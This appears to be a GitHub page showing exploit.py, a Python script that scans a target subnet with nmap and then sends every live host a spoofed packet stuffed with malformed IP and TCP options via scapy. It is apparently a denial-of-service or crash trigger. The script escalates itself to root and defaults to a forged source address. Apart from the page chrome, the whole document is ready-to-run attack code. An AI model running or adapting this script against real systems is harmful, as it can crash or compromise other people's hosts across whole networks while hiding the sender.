-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathexploit.py
executable file
·40 lines (37 loc) · 1.48 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import time
import nmap
import argparse
import struct
import sys
import os
from scapy.all import *
def Launch(src, subnet , Payload_last):
print('Launching Nmap Port Scanner')
nm = nmap.PortScanner()
nm.scan(hosts=subnet, arguments='-sP')
iplist = nm.all_hosts()
iplist = sorted(iplist, key=lambda ip: struct.unpack("!L", inet_aton(ip))[0])
print('Found Hosts : ' , iplist)
payload = ""
for _ in range(Payload_last):
payload+="x"
for host in iplist:
print('Attacking : ' , host , '[Payload' , payload , ']')
send(IP(src=src, dst=host, options=payload)/TCP(options=[(19,"x"*18),(19,"x"*18)]), verbose=False)
time.sleep(0.1)
if __name__ == '__main__':
if os.geteuid():
args = [sys.executable] + sys.argv
os.execlp('su', 'su', '-c', ' '.join(args))
# os.execlp('sudo', 'sudo', *args)
parser = argparse.ArgumentParser()
parser.add_argument(dest='target' , help='Target Ip or Network Ip Range ')
parser.add_argument('-s', '--sourceip', help='Source Ip Adress', dest='ip')
parser.add_argument('-p', '--payload', help='Number of Payload Loop', dest='playload' , default = 20 , type = int)
args = parser.parse_args()
if args.target is not None :
if args.ip is None :
args.ip = '10.10.10.10'
Launch(src=args.ip, subnet=args.target , Payload_last = args.playload)
else :
print('\nTarget is Missing , Specify Target/Target-Range-Ip with "-t"\n')